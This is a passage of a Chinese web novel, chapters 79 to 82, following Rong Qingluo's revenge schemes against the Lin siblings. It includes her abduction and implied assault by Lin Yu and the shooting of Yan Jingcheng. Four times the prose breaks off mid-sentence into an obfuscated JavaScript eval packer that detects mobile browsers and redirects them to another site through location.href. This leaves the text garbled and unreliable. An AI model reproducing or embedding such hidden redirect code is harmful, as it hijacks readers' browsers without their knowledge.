她也想做执棋人，而非一枚随时可以被牺牲的棋子。 为此，她必须想办法获取更多谈判的筹码。 大胆一些，再往前走走看，也许哪一日她手上的筹码多起来，也上桌了呢，到时候便更有复仇和脱身的底气。 那么，第一步，她还是要接近林裕。 林裕是她复仇对象林晶的哥哥，也可以是她用来牵制严靖诚的力量。 驱虎吞狼虽非良策，可她也没有太多良策，只好走一步看一步。 观念转变以后，容清洛突然意识到，其实她可以不用惧怕林裕知道她的真实身份，关键在于，如何让林裕在知晓她身份后不会对她动手。 那么，她对林裕有什么价值呢。 如果她可以按照林裕的要求传递假消息给严靖诚，那么到时候，究竟谁围猎谁，还真说不准。 她要是可以要想办法让严靖诚和林裕斗得两败俱伤，到时候，无论她是想复仇还是想逃脱，机会都会来。 容清洛知道自己的力量很小，她要想全身而退，要想不染鲜血，就只能借力打力，借刀杀人。 想到此，容清洛立马坐起来。 这个点儿，商场还没关门。 容清洛到附近的一家百货商场买回一个大黑板，挂在墙上，开始梳理自从她准备复仇开始，遇到的形形色色的人，以及各方势力之间的关系。 她思考着宁川市的势力格局究竟是如何的。 脑海里却突然闪现过周先生的脸。 容清洛以前猜测周先生是警官学院的学生，但现在她也不确定了。 一切本就是自己的猜测。 他那身气势，如果不是警察，是林裕身边的心腹，似乎也说得过去。 容清洛陷入了沉思。 周先生，你究竟是哪一方的呢？ 79. 永夜降临 第二天一早，容清洛照常来咖啡店上班。 她在员工衣帽间换工作服时，听平时关系还不错的同事神神秘秘地告诉她，咖啡店换老板了。 不过容清洛对此并不太在意。 实际上，她从来咖啡店打工到现在，见过的最大领导就是门店的经理，她根本没见过以前的老板。 所以只要她不被辞退，工资每月照常发，老板换成谁，她都无所谓。 还好，新老板现在并未对店里进行任何人事变动，容清洛暂时保住了饭碗。 上午，经理告诉大家，他们咖啡店与林氏集团合作，准备长期提供咖啡免费券，林氏集团的员工拿着劵可以来春觅咖啡店免费喝咖啡，这算是一种公司福利，实现员工的咖啡自由。 中午吃饭时，同事带来了最新打探到的消息，店里之所以会给林氏集团的员工提供免费券，是因为买下她们这家咖啡店的新老板就是林氏集团的老总。 容清洛万分惊讶：“你说的不会是传说中那位林总？林裕？” “对呀，咱们的新老板就是林总。不过咱们咖啡店不属于林氏集团，这好像就是林总的个人行为。”同事摇头感慨道，“有钱人就是不一样，想喝咖啡直接就买咖啡店，那我还爱喝茶呢，也不知道什么时候能够拥有一座茶园。” 容清洛笑起来表示赞同：“是啊，我喜欢看闲书，我还想要一个自己的图书馆呢。” 同事们渐渐又聊起其他话题。 容清洛心里明白，林裕应该是发现了她留下的那张工牌。 按照这个速度，也许林裕不久以后就会来找她。 她得想办法，让林裕和严靖诚斗上一斗。 *** 林氏集团总部顶层的办公室。 总裁秘书：“林总，这就是春觅咖啡店所有员工的资料。” 秘书恭敬退出后，林裕才放下手头的工作，把那厚厚一沓资料摆在面前，查阅起来。 他浏览地很快，手指不停地翻页，目光主要在员工的名字和照片上扫过。 仿佛一条流水线，林裕在枯燥的翻页中想要找到一抹亮色。 终于，在翻到最后一页时，林裕的视线落在一张冷峻的俏脸上。 林裕手指微顿。 容清洛。 呵。 原来她根本不叫随亦。 骗子。 这张脸和林洛有七八分相像，但更像曾经记忆中的某个人。 严汀洛。 林裕回想起这个陌生又熟悉的名字，不由得皱起眉头。 他拿起手机，对着容清洛的资料拍照，将照片发给通讯列表中的某个号码，然后拨出电话。 对面很快接通，林裕发出指令：“老关，你替我仔细查一下这个人的背景，看看她是不是范家派过来的。” 下午，林裕把晏行铮叫过来交待一些事情。 林裕：“阿铮啊，这次多亏你的提醒，前些天我让老关去查了范家最近的动向。” “范慈那个老东西这回是铁了心地要夺我在宁川市的各种产业，你说我能让他们得逞吗？” 晏行铮：“裕哥，我能为您做些什么？” 林裕沉吟道：“这样，阿铮，沙场那边你先放一放，事情都交给你底下那个副手，近期你就来帮我和范家打擂台，非要让他们滚出宁川市。” 晏行铮：“好。” 林裕：“根据老关的消息，范慈派了一个叫严靖诚的专门对付我，你先去探探这个人的底，瞧瞧他是什么路数。” 晏行铮：“没问题，不过裕哥，我到底年轻，经验有限，我能和关哥取取经吗？主要是关哥神龙见首不见尾，没您发话，关哥不一定见我。” 林裕：“没事儿，你先干着。老关到南庐市帮我查个女人去了，等他回来你们有机会见面。” 晏行铮走出林裕的办公室，秘书把晏行铮叫住，给他一沓券：“晏先生，林总把旁边一楼的春觅咖啡店买下来了，咱们集团的员工凭这些券可以免费去喝咖啡，您有时间可以去尝尝。” 晏行铮将免费券放进口袋中。 林裕做事情，不会是无缘无故的，背后都蕴藏着深层次的原因。 他不能错过蛛丝马迹。 所以，晏行铮下楼时没有去地下停车场开车， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578030|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是从大厦一楼走出，到旁边的春觅咖啡店一探究竟。 点完咖啡，找个位置坐下，晏行铮没想到，给他上咖啡的服务员竟然是季希。 晏行铮恍惚想起来，平叔和他提过，说季希目前在一家咖啡店工作。 因为季希不是冲着他来的，他就没太注意，现在想来应该就是这家春觅咖啡店。 联想起林裕的一系列举动，电光火石之间，一切都变得清晰。 林裕应该就是在查季希。 容清洛也没想到会在这里偶遇青年，她把咖啡为其摆在桌上：“周先生。” 晏行铮淡淡道：“我姓晏，这位小姐恐怕认错人了。” 容清洛在监控录像里见过他出入林裕原来的公寓，所以她现在不确定，这人到底是不是林裕派来的。 她只好从善如流道：“晏先生，您请慢用。” 很快就到了容清洛下班的时间。 目前不知道这位晏先生到底是敌是友，容清洛担心被他跟踪，便没有直接回家，而是去了一趟就在附近的市图书馆。 一路上并没有被人跟踪的迹象，容清洛没在图书馆待多久，便回到出租屋。 屋门口，容清洛拿出钥匙开门，走进屋内，转身关门时，一只大手陡然间从门外伸进来抵住门。 容清洛连忙使劲关门，但门被撑着纹丝不动。 大门被人从外面拉开，露出一张英俊得有些不合时宜的脸。 容清洛怒目而视：“晏先生，你这是什么意思？不请自来，非君子所为。” 晏行铮走进出租屋，把门替对方关上：“我本来也不是什么君子。” 容清洛知道自己打不过他，便打算开门先跑出去再说。 然而晏行铮拦在门口，容清洛委实打不开门，她只好拿手机准备报警。 晏行铮从女生耳畔拿走手机，挂断通话：“季希，我们聊聊。” 容清洛好久没有听到有人叫自己的名字，她想要夺回手机的动作缓了缓。 打量着男子从容不迫的面容，她试探道：“你究竟姓周还是姓晏？” 晏行铮：“你觉得呢？” 80. 永夜降临 晏行铮的身份很敏感，他不能仅凭之前几面的缘分就对容清洛毫无防备，他无法确定容清洛是否值得信任。 但是如果这姑娘有危险，他还是会来通知她。 所以面对她的疑问，他无法将真相和盘托出，只好含糊地将问题回抛给对方。 容清洛不答反问：“说说吧，你找我什么事？” 门口的空间逼仄，晏行铮高大挺拔，低头看向容清洛：“你打算就这样堵在门口说？” 面前男子目前并未表现出武力伤害她的意图，容清洛又无法赶走对方，便只好招呼他进来，听听这人想聊些什么。 容清洛从柜子里翻出一次性杯子，为他倒上一杯水：“陋室条件有限，随便坐吧。” 晏行铮在沙发上坐定。 容清洛搬了一个小凳子，和晏行铮隔着茶几相对而坐。 晏行铮没有拐弯抹角，直言道：“你为什么在我的住处门外安装针孔摄像头？” 容清洛低头喝水：“我不知道你说的是什么意思。” 晏行铮笃定地看向她：“你知道。” 容清洛垂眸。 晏行铮见她不愿意说实话，又道：“我是该叫你季希，还是容清洛呢？” 他果然通过那个摄像头查到她了。 容清洛撑着自己，面不改色，将刚刚他的话还回去：“你觉得呢？” 晏行铮：“已经有人在暗中调查你了，不管你有什么目的，你现在处于危险之中。” 容清洛：“你在这里，就是我最大的危险。” 晏行铮见容清洛油盐不进，只好明确点出那人的身份：“你监视的不是我，是林氏集团的林总，我说的没错吧？” “上周出现在林总公寓的女生，也是你，容小姐。” 晏行铮：“我今天来只是想告诉你，不要继续靠近林裕了，他在查你。” “你以为他只会查容清洛这个身份吗？” “林裕目前已经派人去南庐市了，你觉得他离掀开你的老底还差几天？他总会查到季希这个身份上的。” “我劝你尽早离开宁川市，南庐市也暂时不要回去，先离开江省，到外省躲一躲。” 看来林裕还没有忘记严汀洛。 如果林裕知道严汀洛是范家派去他身边的，那么他因为自己和严汀洛相像的脸而怀疑自己和范家有关系，这是很正常的逻辑。 思及此，容清洛叹气：“我走不了的。” 晏行铮：“为什么？” 容清洛无法回答，只好道：“你是林裕的手下？” 晏行铮：“这不重要。” 容清洛：“我想知道，你代表的是你自己，还是林裕？” 晏行铮：“我今天冒险来通知你远离林裕，你觉得呢？” 容清洛心里隐隐有一些猜测，但不敢确定，隐晦开口：“周……晏先生，你已经走进黑夜了吗？” 晏行铮：“你呢，你当初的抉择是什么？” 容清洛轻叹，这些都是无法获得回答的问题。 她道：“反正我现在是不能走的。” 晏行铮皱眉：“你有点犟。” 容清洛：“为什么不向林裕揭发我？” 晏行铮：“我很闲吗？” 容清洛：“既然如此，我也不让你白来一趟。” “我想与你谈个合作。” “注意，是和你个人合作，而不是和你背后的林裕合作。” “你意下如何？” 晏行铮颔首，示意她继续说下去。 容清洛：“你在林裕手下做事，林家和范家不对付，你应该接到过类似盯着范家这样的命令吧？” “怎么，”晏行铮，“你和范家有联系？” 容清洛：“严靖诚，这个人你听说过吗？” 晏行铮这回是真的惊讶。 他本以为容清洛监视林裕是个人行为，也许是有一些私仇。 如今看来，这姑娘背后怕是有人。 而且，这估计和几年前两人在医院顶楼天台相遇那回她口中提到的可能改变一生的重要决定有关。 晏行铮：“知道。你和严靖诚很熟？” “你对严靖诚有兴趣。”容清洛笑得狡黠，“那我送给你一个消息。” 她起身，走到晏行铮面前，轻拍他的肩膀：“你起来。” 晏行铮照做。 在晏行铮疑惑的目光中，容清洛将沙发后面的隔断帘拉开，露出一面墙，墙上挂着一块硕大的黑板。 黑板上贴着很多照片，还有用粉笔写下的多个人名，显示着错综复杂的关系网。 容清洛对这些照片非常熟悉，她很快找到自己需要的照片，然后将隔断帘重新拉上。 见晏行铮的目光还盯着隔断帘，容清洛笑道：“这帘子我自己安的，如果我不说，你肯定猜不到帘子后面藏着什么东西吧。” 晏行铮点头：“确实。” 容清洛把取下来的两张照片递给林裕：“一点见面礼，也是对你冒险来向我示警的谢礼，代表着我想与你合作的诚意。” 两张照片上，一张是严靖诚和杜忆凝见面，一张是严靖诚和林洛见面。 相片右下角的日期不同，前者的日期是去年十二月初，后者的日期就在一月份。 晏行铮盯着两张照片上都出现了的那个男人看了半天，他手指轻扣在那人脸上：“他就是严靖诚？” 容清洛：“是。” 晏行铮：“严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578031|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靖诚为什么会与林夫人以及林洛小姐见面？” 容清洛笑得意味深长。 严靖诚和林夫人见面，当然是作为旧情人提醒杜忆凝认清形势，早点和林丞离婚。 而严靖诚和林洛见面，则是因为父爱。 林洛现在应该已经知道了自己的真实身世，所以在还未出国的这段时间想要专门和亲生父亲见一面。 就这两张照片，可是她花费了不少功夫才拍到的。 但这些，容清洛还不打算和面前这人说。 她希望林裕以为林洛母女背叛林家和范家搞在一起，引起林裕的占有欲、报复心等等不稳定的情绪。 所以容清洛只是说道：“这难道也要我告诉你吗？我们合作，你也得让我见识一下你的本事。” 晏行铮：“你希望我做什么？” “希望你能把这两张照片带到林裕面前。”容清洛，“让严靖诚被范家遗弃。” “至于照片的来源，不要暴露我即可，随你发挥吧。” 严靖诚之所以能威胁到她，不是因为严靖诚有多大能耐，严靖诚所倚仗的是范家的势力以及范家对他的信任。 而她，势必要让严靖诚失去这两样东西，再不能对她威逼利诱。 晏行铮：“好，看来在这方面，我们的目标是相同的。” “也许未来我们还会有共同的敌人。” “我答应，作为我个人，与你合作。” 容清洛：“希望这个合作，天不知，地不知，他人不知，只有你我二人知。” 晏行铮将照片装进暗兜，伸手：“合作愉快。” 容清洛握住晏行铮的手，严肃道：“合作愉快的前提是相互尊重。希望晏先生下次不要再不请自来地进入我家。” 晏行铮：“对于今天的唐突，我向容小姐道歉。以后不会了。” “不过，容小姐是不是应该给我一个联系方式，否则我有消息应该怎么传给你呢？” 于是，容清洛和晏行铮互换了手机号码。 容清洛知道，仅凭她自己，是无法复仇的。 她只是整张网络里的一环，想要破开这张大网，无异于螳臂当车。 所以她需要寻求合作者。 容清洛的第一个合作者是严靖诚。 而严靖诚只是把她当棋子，当耗材，他打心眼里没有把她放在一个同等的位置上。 既然如此，容清洛决定把严靖诚换掉。 她要一个新的合作者，希望这位晏先生不要让她失望。 虽然暂时无法对这位晏先生的身份完全确定，但既然他对她保有一些善意，那么容清洛觉得，可以先尝试着和他达成合作，互利互惠，借助彼此来完成各自的计划。 81. 永夜降临 林家今年减少了两位成员，这个春节却过得意外的热闹。 严靖诚对林晶进行了一段时间的调查，挖出不少东西。 他前段时间之所以让容清洛想办法拿到林晶的头发，是为了通过毛发来验证林晶是否吸毒。 最后当然是证据确凿。 林晶不仅杀过人，私生活还比较混乱，和狐朋狗友在一起时沾染上了毒品。 严靖诚多年来在南庐市给范家做了很多见不得光的事情。 如今范家想要打入宁川市的市场。 严靖诚的那些分布在宁川市各个角落的手下，就是他想要替范家掌握这座城市黑色产业链的触手。 然而林家始终是挡在他们面前的大山。 范氏的根在南庐市，林氏的根却在宁川市。 在范慈的授意下，严靖诚顺着林晶吸毒这条线深挖下去，终于摸到了林裕贩毒的边，找到了一些蛛丝马迹。 这些证据只能让林晶判刑，却还不足以扳倒林裕，但是能让林氏集团伤筋动骨，也很不错。 就这样，严靖诚开始了行动。 南山森林公园文笔峰翠屏岩之下是叶时冉的埋骨之地。 崖下是人迹罕至的丛林。 严靖诚回到南庐市以后，托关系疏通才能让人在里面寻找。 奈何找了许久，一直没有发现叶时冉的尸骨。 这几年南庐市的雨水丰沛，夏季暴雨多发。 文笔峰的崖壁在去年的雨季坍塌过。 经分析，叶时冉的尸骨很有可能早就埋在那厚厚的山石之下，除非挖山，否则根本找不到。 这个方案动静太大，且耗时久，来不及了。 于是严靖诚根据容清洛的提示，准备找寇依宁和甄安然来当证人。 容清洛之前在贺溪君的帮助下拿到过林晶手机的复制机，上面有林晶以前的很多聊天记录。 容清洛在仔细阅读过林晶手机里的内容后，赫然发现林晶根本就是一个海王，手机里有一堆舔狗。 其中就有凌舟和蔡柯岩。 所以容清洛特意和严靖诚提到，可以把男女关系作为寇依宁和甄安然的突破点。 严靖诚调查到，寇依宁家里在南庐市有点关系，但在省会宁川市并无根基，是以一直对林晶很忠心。 但林晶因为和杜睿江的婚约被取消了，心情到底有一些黯然。 她多少有点迁怒寇依宁，就吃了回头草，和凌舟混在一起。 寇依宁当然很气不过，却只能忍下来。 严靖诚把握住这一点，很轻易地就把寇依宁说动，她愿意指证林晶把同学推下悬崖。 甄安然虽然在国外读书，但是恰逢春节，她和蔡柯岩都回国过年了。 林晶过年也回到南庐市，她左拥蔡柯岩，右抱凌舟，堪称时间管理大师。 甄安然当然气不过，也被严靖诚说动，答应当证人。 于是，寇依宁和甄安然一起到警局报警，声称两人多年来良心一直受谴责，现在要举报林晶杀人。 以这件事为引子，警方展开对林晶的调查。 范家在暗处引导着警方发现了林晶吸毒的事情。 林晶因此被警方带走。 得知此消息后，远在宁川市的林裕立即有所行动，想要把林晶救出来。 可是在南庐市，林家虽然强，但范家比林家的势力更强，林裕的手段有点被范慈压着打。 如今，杜忆凝和林丞离婚，林洛也已经和别家订婚，杜家放弃支持林家，杜老爷子也放弃支持他。 而范家以林晶作为攻陷他的冲锋号角。 在林家众人里，林裕最看重的亲人只有林晶。 而今妹妹身陷囹圄，范家摆明了就是要搞垮他。 林裕感到焦头烂额。 这天夜里，他给司机放假，在办公室喝了点酒，自己开车在城中兜风。 严靖诚远在南庐市，林裕对范家的怒火波及不到严靖诚，便只好拿就在宁川市的容清洛出气。 老关早就把容清洛的信息查得一清二楚。 容清洛就是严靖诚专门改造出来，然后派来接近自己的。 林裕根据老关给的地址，把车开到了容清洛的楼下，气势汹汹地上楼，将容清洛的门敲得砰砰响。 容清洛通过猫眼看到门外的人是林裕。 她总感觉林裕的状态不太正常，躲在屋内，一直没敢开门。 哪想到林裕直接给手下打了个电话，几个保镖闻讯赶来，其中一个恰好会开锁，直接就把容清洛的门给撬开了。 在外面的人正在撬门时，容清洛立马就报警了。 然而面对赶来的警察，林裕非常嚣张：“在南庐市受制于人就算了，在宁川市若是还能被你们管，我就不姓林。” 林裕的手下把轻微有些醉的林裕护送到车里，又在林裕的指令下把容清洛塞进后座，一齐送回林裕的公寓里。 自有人留在容清洛家门口处理报警的事情。 再一次来到林裕的公寓，容清洛的心情是惊恐的。 她一路上一直在想办法逃离，然而这回几个保镖都在，轻而易举地就将她制服，扔进了林裕公寓的门内。 林裕：“我该叫你随小姐，还是容小姐？没想到你连名字都没告诉我真的，林某确实有点伤心。” 容清洛：“从这件事，你就应该看出来，我不想和你深交。” 林裕：“是吗，可是这件事似乎由不得你选择。严靖诚不是给你下达了接近我的命令吗？而你似乎，对这个任务，不够积极主动。” 容清洛看清林裕眼里的疯狂，下意识后退。 林裕箍住容清洛的肩膀，让她动不得半分：“他们要动晶晶，我总得做点儿什么，来抵消晶晶的痛。” 眼看着林裕就要压下来，容清洛明白现在的林裕满腔的怒火无处发泄，她绝对不能硬碰硬。 她连忙抵住林裕的脸，申辩道：“林先生，您听我说。” “我和严靖诚其实关系并不好，您报复我不会对他造成任何伤害……” 林裕：“他会遭到我的报复的。今天我只是太愤怒，太无能为力。你体会一下一个做哥哥的心吧。你要怪就怪严靖诚吧，谁让和他有牵扯且目前就在宁川市的人里面，我现在最快只能找到你呢？只能说你运气不好喽。” 容清洛：“林先生，我也恨严靖诚。您知道吗？我以前不长现在这个样子，严靖诚在没有告诉我实情的情况下骗了我，他未经我同意就给我换了张别人的脸。所以我一直很恨他。” “他能拿捏我，是因为他手里有我和他签的合同。” “我完全是被迫的。林先生，请您网开一面。” “这样，您说您想怎么对付严靖诚，我按照您说的，帮您报复他，比如把他引到某个地方，让您揍他一顿，怎么样？” 林裕：“这些用不着你操心，我自有办法。你能做的，就是今晚陪我。你今天陪我一晚，我就不追究你了，之后我和严靖诚的账不会波及到你。” 容清洛死命挣扎着：“林先生，我不答应你，你自重！” 林裕把容清洛抱起来，走进卧室：“今晚不会让你像上次一样钻空子了。” 卧室门被无情地合上，仿佛昭示着无边无际的漫长黑夜，永夜降临。 *** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578032|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二日，林裕如约把容清洛放走了。 容清洛临走前，林裕道：“严靖诚我会收拾他，你不用担心和他的合同了，你走吧，想去哪里就去哪里。” 林裕经过这一晚后，下了大决心，去拜访了省里一位不可说的前辈。 这位新靠山姓吴，吴老愿意庇护林裕，摆平一切，条件是要和林裕联姻。 林裕必须得娶吴老的女儿为妻，并且承诺终生对吴家女好，不得离婚。 而这位吴小姐，有精神问题，是以虽然家世显赫，至今未嫁。 林裕答应了吴老。 吴老雷厉风行。 范家本以为林家自此会元气大伤，却没想到才过去几天，局势竟突然逆转。 林裕找了当年林晶的其他小跟班，开出大价钱让她们指证寇依宁和甄安然，说当时林晶被绑架就是这两个人指使那个绑架犯做的，叶时冉是因为撞破二人的密谋，才被此二人灭口。 就这样，林裕把林晶从杀人案里捞了出来，反而将寇依宁和甄安然送进了牢里。 虽然林晶吸毒是板上钉钉，但因为有找到新靠山的林裕托底，林晶顺利被从警局接了出来。 林裕带着林晶回到宁川市的林家老宅。 别墅区对面的山间公路上，容清洛戴着帽子和口罩，将车停在路边。 她最近一直开着车在这边晃悠，好不容易才发现的这个地方。 从这里，刚好可以将林家老宅看得一清二楚。 容清洛取出望远镜。 林晶和林裕一起下车，走进屋内。 容清洛皱眉，林晶根本毫发无伤。 而林裕，也依然是林氏集团的林总。 真可笑。 为什么这些作恶者登高堂，掌权柄，风光无限？ 而被他们迫害的人，还在这山间挣扎痛苦。 不过，林裕虽然坏，但是他对妹妹是真的好。 而且，林晶之所以这么肆无忌惮、百无禁忌，很难说不是因为有林裕这些毫无底线原则的兜底。 总之，是真嚣张。 嚣张到让被害人看到就会愤怒。 容清洛感觉自己彻底被激怒。 毫无疑问，她的这一次尝试和反击是失败的。 她开始反思。 她以为可以在林范两家的争斗中动些手脚，鹬蚌相争，渔翁得利。 然而她只会是被殃及的池鱼。 她以为可以和林裕讲理，果然还是她太天真。 羔羊在豺狼面前，根本无理可讲。 只是，为了明白这个道理，她付出的代价太过惨烈。 原本，容清洛的复仇之心其实每隔一段时日就会动摇一次。 这一回，她苦笑一声，恐怕这复仇的火永远不会熄灭了。 烈火焚烧的原料，是她的躯体，是她的愤怒，是她的绝望，是她毁天灭地的仇恨。 从此以后，她对林家这对兄妹的复仇，真的是不死不休。 她不把林氏集团弄垮，不让林裕和林晶付出代价，她此生枉为人。 为了这个目标，容清洛愿意献祭她所拥有的一切。 也许容清洛在以前还有一些别的梦想，期待着等将林晶做的恶事公之于众并让其受到惩罚以后，就去追逐人生理想。 然而从此刻起，她此生没有别的梦想了，她此生唯一的目标，就是让林裕和林晶伏法。 纵使林裕再手眼通天，她不信这苍天无眼，她一定要亲手推助林家衰落，亲眼见证林家覆灭。 // 『勇士夜行，未改初心。』 ——【第二卷完】—— 82. 走入无间 ——【卷三·无间】—— 『当漆黑天幕里唯一的月色，恰好照在那暗夜之下正闷头赶路的人身上。』 『月亮可少孤寂，行者可消迷惘。』 // 容清洛今年这个春节过得简直和噩梦一般，她前段时间重新找了套房子。 这次她下了血本，租下一间高档小区的公寓。 这里的安保比以前的小区要严格很多，能给她安全感。 今天因为见到了从南庐市回来的林裕和林晶，容清洛回家后，在附近找到一间公用电话亭，主动联系了严靖诚。 如果要在严靖诚和林裕二人中选出一个她更想弄死的人，现在的容清洛一定选择先把林裕弄死。 是以，容清洛告诉严靖诚，林裕的软肋是林晶，林裕会为这个妹妹做出任何事，如果范家想要牵制住林裕，就一定要握紧林晶这张牌。 打完这通电话，容清洛到另一条街重新找了一间公用电话亭，拨打晏行铮上次留给她的电话。 电话很快接通：“你好。” 容清洛：“是我。” 晏行铮听出是容清洛的声音后，陷入沉默。 他前段时间被林裕派到南庐市处理林晶和范家的事宜，这几天回到宁川市，才听林裕身边的人说起，老板有天晚上撬门把一个姑娘强迫着扛回家。 晏行铮实在是没想到林裕竟然会做这种事。 他惊愕地问了一句那姑娘是谁，才知道这故事的主角竟然是容清洛。 那一刻，他为自己对此事的无能为力而感到羞愧。 所以他没脸见她。 晏行铮的心理活动丰富，容清洛却只听见震耳欲聋的沉默，她问道：“晏先生，听得见我说话吗？” 晏行铮很快调整好情绪：“我在，我听得见，容小姐，你有什么事需要我帮助吗？” 容清洛：“那两张照片你给林裕了吗？” 晏行铮：“给了。林总看到以后有点生气，但是他最近的精力全放在救林晶小姐身上，所以并没有来得及去细查严靖诚与两位女士的关系。” 容清洛：“晏先生，我可以告诉你，林洛的亲生父亲就是严靖诚，如果说严靖诚有什么软肋，那一定是他的亲生女儿林洛，在林洛面前，他的旧情人杜忆凝也要退一射之地。” 晏行铮：“好，我知道了……” 本想问问她最近还好吗，晏行铮却陡然间发现，在容清洛眼里，他是林裕的人。 她现在，恐怕是恨毒了他们这些人。 容清洛：“那先这样。”说罢，她准备挂断电话。 晏行铮：“等等。” 容清洛：“晏先生还有何事？” 晏行铮：“你……离开这里吧。” “你所看见的宁川市，和真正的宁川市不太一样。这里对你而言，危机四伏。 容清洛：“我别无选择。” 晏行铮轻轻道：“保护好自己，如果遇到什么事，随时可以打电话给我。” 容清洛嘲弄一笑，直接结束通话。 *** 林裕没有对外暴露自己和吴老的关系，所以范慈只以为林裕这回是下了血本用钱开路。 范慈实在是太想要把林家扳倒，然后抢占林家在宁川市的各种黑色暴利产业，所以即便这次围剿让林裕全身而退，他仍然不愿放弃。 就在范慈命令严靖诚继续寻找林裕的把柄时，林裕选择率先主动出击。 林裕孤注一掷，不仅要联姻，他还和吴老谈合作，替吴老做一些见不得光的事情，以此换取更深层次的绑定和支持。 晏行铮这时候收到了上级指示。 根据内部消息，林裕已经找到新靠山，动他很难。 并且因为找不到他明确的罪证，现在无法对林裕采取任何措施。 所以晏行铮的短期卧底任务一下子变成了长期潜伏任务。 他需要深入林氏集团内部，获取林裕最大的信任，查清黑色产业链条，以此遏制住黑恶势力在宁川市的发展和壮大。 为此，这回晏行铮不得不协助林裕弄倒范家，算是晏行铮想要进入林氏集团黑暗面的投名状。 在林裕的策划下，一场风暴很快降临范家的各个产业中。 范家还没把林裕拉下水，林裕已经以迅雷不及掩耳之势把范慈打落深渊。 严靖诚见范慈失势得彻底，他跑得很快。 晏行铮向林裕汇报了严靖诚是林洛亲生父亲这一讯息。 林裕派人沿着这条线索去查，赫然发现，去年绑架林晶、害林晶住了大半个月医院的幕后指使也是严靖诚。 林裕拿着严靖诚的照片给林晶辨认。 林晶说这就是当时在郊区河边绑架她的那个人。 另外，严靖诚是让林裕失去杜家支持的人。 如果不是范家前后夹击，且他失去杜家这个外援，林裕如何会去向吴老低头，向一个疯女人出卖自己的婚姻？ 所以林裕恨极了这个严靖诚，对他穷追猛打。 严靖诚为了活命，狗急跳墙，再一次绑架了林晶。 林晶为了安全，没住在林宅，她如今藏身的地址，是容清洛提供给的严靖诚。 而容清洛之所以可以获取林晶的准确位置，得益于贺溪君高超的电脑网络技术。 不过，自从林裕开始疯狂反击范家以后，容清洛为了贺溪君的安全，没有再私下和贺溪君见面，二人都是通过线上联系。 严靖诚躲在山上，打电话给林裕，告诉对方，如果林裕还想见到林晶，就放他离开江省，否则，他会带着林晶一起死。 杜忆凝和林洛早在年刚一过完的时候就立马飞出国了，导致林裕现在想用这两个人威胁严靖诚却也无从下手。 没办法用谈判的方式解决绑架，林裕决定直接把严靖诚这个人解决掉。 他安排人进山探查地形，找到了严靖诚和手下的藏身之处。 林裕手底下有一个杀手，名叫老刀，枪法很好。 他让老刀埋伏在远处的山林中，必要时狙击严靖诚，然后便带上一大群小弟，直奔严靖诚所在的地方。 严靖诚看到林裕的这个架势，明白林裕不会放他离开。 他手上拿着刀，抵在林晶的脖子上。 看着林裕对他蔑视的表情，看着虎视眈眈包围着他的人，严靖诚突然大笑起来：“林裕小儿，你以为你赢了吗？” “我有一件最得意的作品尚存于世，她会成为插在你心尖上的一把钢刀，而我，已经预见了那个时刻。” “林裕，我在地狱，等着看你比我还悲惨的下场。” 话音落下的那一瞬，严靖诚手中的刀准备插向林晶的脖颈。 就在这一刻，一颗子弹破空而来，崩进严靖诚的脑袋。 严靖诚倒在血泊之中。 他看着天空，在心中无声道：“容清洛……” “或者我还是叫你本来的名字，季希。” “我知道你恨我，但也明白，你更恨林家兄妹。” “你是我最完美、最得意的作品。” “我相信你，你会让林家兄妹付出应有的代价。” 也许是想到会有人替自己报仇，即便对方不是专门为了他，严靖诚还是露出了微笑，阖上双眼。 *** 容清洛是怎么也没想到，范家的势力那么强大，竟然说落败就这样落败了。 就好似万丈高楼平地起需要花费很长时间，而大厦在一夜之间倾倒却只需要经历几个刹那。 历史上多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578033|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的百年基业，一朝便可毁之。 旦夕之间，局势早已天翻地覆。 这就是容清洛对这件事最直观的感受。 她在出租屋内仔细地复盘着这一次失败的布局。 在这一回合中，容清洛像养蛊一样分别告诉了林裕和严靖诚互相的软肋，让二人对着搞。 